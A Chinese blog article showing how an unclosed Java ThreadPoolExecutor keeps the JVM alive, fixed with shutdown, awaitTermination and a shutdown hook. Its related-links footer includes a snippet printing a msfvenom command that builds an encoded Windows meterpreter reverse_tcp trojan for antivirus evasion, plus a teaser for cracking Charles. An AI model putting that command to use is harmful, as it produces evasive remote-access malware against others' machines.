线程未关闭导致资源泄漏

文章目录

  • 资源泄漏(线程未关闭)
    • 问题描述
    • 错误实现
    • 优化原理
    • 正确实现
    • 优化原理

资源泄漏(线程未关闭)

问题描述

应用程序启动时创建线程池处理任务,但未在应用关闭时正确关闭线程池。

  • 现象:
    • 应用重启时,残留的线程池线程仍在运行,占用内存和CPU资源。
    • 若线程池任务涉及外部资源(如数据库连接),可能导致资源耗尽或端口占用。

错误实现

  • 案例:未正确关闭线程池
public class ResourceLeakDemo {private static final ThreadPoolExecutor executor = new ThreadPoolExecutor(2, 4, 60, TimeUnit.SECONDS,new LinkedBlockingQueue<>());public static void main(String[] args) {executor.execute(() -> {while (true) {try {System.out.println("执行任务中...");Thread.sleep(1000);} catch (InterruptedException e) {e.printStackTrace();}}});// 模拟应用关闭(未关闭线程池)System.out.println("主线程结束,但线程池仍在运行!");}
}
  • 结果
主线程结束,但线程池仍在运行!
执行任务中...
执行任务中...
...
  • 主线程结束后,线程池中的核心线程(非守护线程)会持续运行,导致JVM无法退出。

优化原理

调优方案与场景

调优目标

  • 确保线程池关闭:在应用退出时,优雅关闭线程池,释放所有资源。
  • 防止资源泄漏:终止所有线程,避免残留任务占用系统资源。

解决方案

  1. 显式调用 shutdown():在应用退出逻辑中手动关闭线程池。
  2. 注册JVM关闭钩子:确保即使非正常退出(如kill命令),也能触发线程池关闭。

正确实现

  • 调优后:
public class ResourceLeakFixedDemo {private static final ThreadPoolExecutor executor = new ThreadPoolExecutor(2, 4, 60, TimeUnit.SECONDS,new LinkedBlockingQueue<>());public static void main(String[] args) {// 注册JVM关闭钩子Runtime.getRuntime().addShutdownHook(new Thread(() -> {System.out.println("JVM关闭钩子触发:关闭线程池...");shutdownThreadPool();}));executor.execute(() -> {while (true) {try {System.out.println("执行任务中...");Thread.sleep(1000);} catch (InterruptedException e) {System.out.println("任务被中断,退出循环");break;}}});// 模拟正常关闭(手动调用关闭逻辑)shutdownThreadPool();System.out.println("应用主线程结束");}private static void shutdownThreadPool() {executor.shutdown(); // 停止接受新任务,等待已有任务完成try {// 等待任务终止,最多10秒if (!executor.awaitTermination(10, TimeUnit.SECONDS)) {executor.shutdownNow(); // 强制终止所有任务System.out.println("线程池强制关闭");}} catch (InterruptedException e) {executor.shutdownNow();}}
}
  • 运行后:
执行任务中...
执行任务中...
JVM关闭钩子触发:关闭线程池...
执行任务中...
执行任务中...
执行任务中...
执行任务中...
线程池强制关闭
应用主线程结束
任务被中断,退出循环

优化原理

关键调优总结

1、注册关闭钩子

Runtime.getRuntime().addShutdownHook(new Thread(() -> shutdownThreadPool()));

2、优雅关闭线程池

  • shutdown():停止接受新任务,等待已有任务完成。
  • awaitTermination():设定超时时间,避免无限等待。
  • shutdownNow():超时后强制终止所有任务(向线程发送中断信号)。

3、任务响应中断

try {Thread.sleep(1000);
} catch (InterruptedException e) {break; // 捕获中断信号,退出任务
}

4. 建议

  • 统一管理线程池生命周期:在应用启动/关闭时显式初始化和销毁线程池。
  • 监控线程池状态:记录活跃线程数、队列大小、拒绝任务数等指标。
  • 防御性编程:任务代码需正确处理中断,避免死循环。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/73506.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

MSF木马的生成及免杀

先简单生成一个木马 ┌──(kali㉿kali)-[~] └─$ msfvenom -p windows/meterpreter/reverse_tcp lhosts61.139.2.130 lport3333 -e cmd/echo -i 10 -f exe -o cmd_echo_113_3333_10.exe [-] No platform was selected, choosing Msf::Module::Platform::Windows from the pa…

用C#实现UDP服务器

对UDP服务器的要求 如同TCP通信一样让UDP服务端可以服务多个客户端 需要具备的条件&#xff1a; 1.区分消息类型(不需要处理分包、黏包) 2.能够接收多个客户端的消息 3.能够主动给自己发过消息的客户端发消息(记录客户端信息)…

如何在 Postman 中发送 PUT 请求?

在 Postman 中发送 PUT 请求的步骤相对简单&#xff0c;包括新建接口、选择 PUT 方法、填写 URL 和参数等几个主要步骤。 Postman 发送 put 请求教程

charles抓包软件免费使用教程

本文将给大家介绍Charles破解教程&#xff0c;支持Windows和Mac系统&#xff0c;操作简单&#xff0c;永久免费使用。同时&#xff0c;我们也会提到另一款强大的抓包工具——SniffMaster&#xff08;抓包大师&#xff09;&#xff0c;它在网络调试和数据包分析方面同样表现出色…

卷积神经网络 - 参数学习

本文我们通过两个简化的例子&#xff0c;展示如何从前向传播、损失计算&#xff0c;到反向传播推导梯度&#xff0c;再到参数更新&#xff0c;完整地描述卷积层的参数学习过程。 一、例子一 我们构造一个非常简单的卷积神经网络&#xff0c;其结构仅包含一个卷积层和一个输出…

.NET三层架构详解

.NET三层架构详解 文章目录 .NET三层架构详解引言什么是三层架构表示层&#xff08;Presentation Layer&#xff09;业务逻辑层&#xff08;Business Logic Layer&#xff0c;BLL&#xff09;数据访问层&#xff08;Data Access Layer&#xff0c;DAL&#xff09; .NET三层架构…

Redis实战常用二、缓存的使用

一、什么是缓存 在实际开发中,系统需要"避震器"&#xff0c;防止过高的数据访问猛冲系统,导致其操作线程无法及时处理信息而瘫痪. 这在实际开发中对企业讲,对产品口碑,用户评价都是致命的。所以企业非常重视缓存技术; 缓存(Cache)&#xff1a;就是数据交换的缓冲区&…

STM32八股【2】-----ARM架构

1、架构包含哪几部分内容 寄存器处理模式流水线MMU指令集中断FPU总线架构 2、以STM32为例进行介绍 2.1 寄存器 寄存器名称作用R0-R3通用寄存器用于数据传递、计算及函数参数传递&#xff1b;R0 也用于存储函数返回值。R4-R12通用寄存器用于存储局部变量&#xff0c;减少频繁…

effective Java 学习笔记(第二弹)

effective Java 学习笔记&#xff08;第一弹&#xff09; 整理自《effective Java 中文第3版》 本篇笔记整理第3&#xff0c;4章的内容。 重写equals方法需要注意的地方 自反性&#xff1a;对于任何非空引用 x&#xff0c;x.equals(x) 必须返回 true。对称性&#xff1a;对于…

mac命令行快捷键

光标移动 Ctrl A: 将光标移动到行首。Ctrl E: 将光标移动到行尾。Option 左箭头: 向左移动一个单词。Option 右箭头: 向右移动一个单词。 删除和修改 Ctrl K: 删除从光标到行尾的所有内容。Ctrl U: 删除从光标到行首的所有内容。Ctrl W: 删除光标前的一个单词。Ctrl …

CentOS 7部署主域名服务器 DNS

1. 安装 BIND 服务和工具 yum install -y bind bind-utils 2. 配置 BIND 服务 vim /etc/named.conf 修改以下配置项: listen-on port 53 { any; }; # 监听所有接口allow-query { any; }; # 允许所有设备查询 3 . 添加你的域名区域配置 …

优化 SQL 语句方向和提升性能技巧

优化 SQL 语句是提升 MySQL 性能的关键步骤之一。通过优化 SQL 语句,可以减少查询时间、降低服务器负载、提高系统吞吐量。以下是优化 SQL 语句的方法、策略和技巧: 一、优化 SQL 语句的方法 1. 使用 EXPLAIN 分析查询 作用:查看 SQL 语句的执行计划,了解查询是如何执行的…

C++ 多线程简要讲解

std::thread是 C11 标准库中用于多线程编程的核心类&#xff0c;提供线程的创建、管理和同步功能。下面我们一一讲解。 一.构造函数 官网的构造函数如下&#xff1a; 1.默认构造函数和线程创建 thread() noexcept; 作用&#xff1a;创建一个 std::thread 对象&#xff0c;但…

Vscode HTML5新增元素及属性

一、‌HTML5 语义化标签 HTML5 语义化标签&#xff08;Semantic Elements&#xff09;是一组 ‌具有明确含义的 HTML 元素‌&#xff0c;通过标签名称直接描述其内容或结构的功能&#xff0c;而非仅作为样式容器&#xff08;如 <div> 或 <span>&#xff09;。它们旨…

【PostgreSQL教程】PostgreSQL 特别篇之 语言接口Python

博主介绍:✌全网粉丝22W+,CSDN博客专家、Java领域优质创作者,掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域✌ 技术范围:SpringBoot、SpringCloud、Vue、SSM、HTML、Nodejs、Python、MySQL、PostgreSQL、大数据、物联网、机器学习等设计与开发。 感兴趣的可…

Three学习入门(四)

9-Three.js 贴图与材质学习指南 环境准备 <!DOCTYPE html> <html> <head><title>Three.js Texture Demo</title><style> body { margin: 0; } </style> </head> <body><script src"https://cdnjs.cloudflare.…

前端NVM安装

https://v0.dev/chat/settings 本地启动环境 1安装 nvm 2安装node nvm install v18.19.0 nvm install v20.9.0 nvm use 18 node -v 3安装 pnpm npm install -g pnpm 或者 npm i -g pnpm 4启动 代码 目录下 执行 pnpm i pnpm run dev 4.1到代码目录下 4.2直接cmd…

蓝桥杯算法精讲:二分查找实战与变种解析

适合人群&#xff1a;蓝桥杯备考生 | 算法竞赛入门者 | 二分查找进阶学习者 目录 一、二分查找核心要点 1. 算法思想 2. 适用条件 3. 算法模板 二、蓝桥杯真题实战 例题&#xff1a;分巧克力&#xff08;蓝桥杯2017省赛&#xff09; 三、二分查找变种与技巧 1. 查找左边…

cmd命令查看电脑的CPU、内存、存储量

目录 获取计算机硬件的相关信息的命令分别的功能结果展示结果说明获取计算机硬件的相关信息的命令 wmic cpu get name wmic memorychip get capacity wmic diskdrive get model,size,mediaType分别的功能 获取计算机中央处理器(CPU)的名称 获取计算机内存(RAM)芯片的容量…

SCI论文阅读指令(特征工程)

下面是一个SCI论文阅读特征工程V3.0&#xff0c;把指令输入大模型中&#xff0c;并上传PDF论文&#xff0c;就可以帮你快速阅读论文。 优先推荐kimi&#xff0c;当然DeepSeek、QwQ-32B等大语言模型也可以。测试了一下总结的还不错&#xff0c;很详细。 请仔细并深入地阅读所提…